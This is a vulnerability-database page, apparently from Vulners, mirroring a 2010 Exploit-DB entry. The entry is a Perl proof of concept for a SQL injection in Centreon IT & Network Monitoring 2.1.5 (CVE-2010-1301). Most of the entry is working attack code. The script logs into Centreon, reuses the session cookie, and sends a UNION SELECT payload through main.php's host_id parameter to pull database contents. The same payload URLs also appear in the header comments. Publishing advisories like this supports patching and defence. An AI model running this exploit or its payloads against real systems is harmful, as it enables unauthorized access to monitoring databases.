Lucene search
+L

Centreon IT & Network Monitoring 2.1.5 - SQL Injection

🗓️ 31 Mar 2010 00:00:00Reported by Jonathan SalwanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Centreon IT & Network Monitoring v2.1.5 - SQL Injection PoC

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-1301
31 Mar 201000:00
circl
cve
CVE
CVE-2010-1301
7 Apr 201018:00
cve
cvelist
Cvelist
CVE-2010-1301
7 Apr 201018:00
cvelist
euvd
EUVD
EUVD-2010-1330
7 Oct 202500:30
euvd
nvd
NVD
CVE-2010-1301
7 Apr 201018:30
nvd
openvas
OpenVAS
Centreon 'main.php' SQL Injection Vulnerability
12 Apr 201000:00
openvas
openvas
OpenVAS
Centreon 'main.php' SQL Injection Vulnerability
12 Apr 201000:00
openvas
prion
Prion
Sql injection
7 Apr 201018:30
prion
#!/usr/bin/perl
# //--------[PoC]---------//
#
# Title	  : Centreon IT & Network Monitoring v2.1.5 - Injection SQL
# Version : 2.1.5
# Author  : Jonathan Salwan ([email protected])
#
#
# [Vuln sql injection]
# http://localhost/centreon/main.php?p=201&host_id=-1%20[SQL Injection]&o=p&min=1
#
# http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1
#
#
# //-------[Credit]-------//
#
# http://www.sysdream.com
# http://www.shell-storm.org
#

use LWP::UserAgent;

my $url   = 'http://localhost/centreon/index.php';
my $login = 'login';
my $paswd = 'pwd';
my $sql   = 'http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1';

my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
my $cook = $response->header('Set-Cookie');

my $req2 = $ua->post($url,
	            {useralias => $login, password => $paswd, submit => 'login'},
                    Cookie => $cook,
		    Content-Type => 'application/x-www-form-urlencoded'
                    );

my $response = $ua->get($sql, Cookie => $cook);
my $content = $response->content();

	open(FILE, '>sql-centreon.txt');
	print FILE $content;
	close(FILE);

	print "\n[Answer SQL Injection]\n\n";

	my $selection = system('cat sql-centreon.txt | grep ">Host</td>"');
	unlink('sql-centreon.txt');

print "\n";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02627
26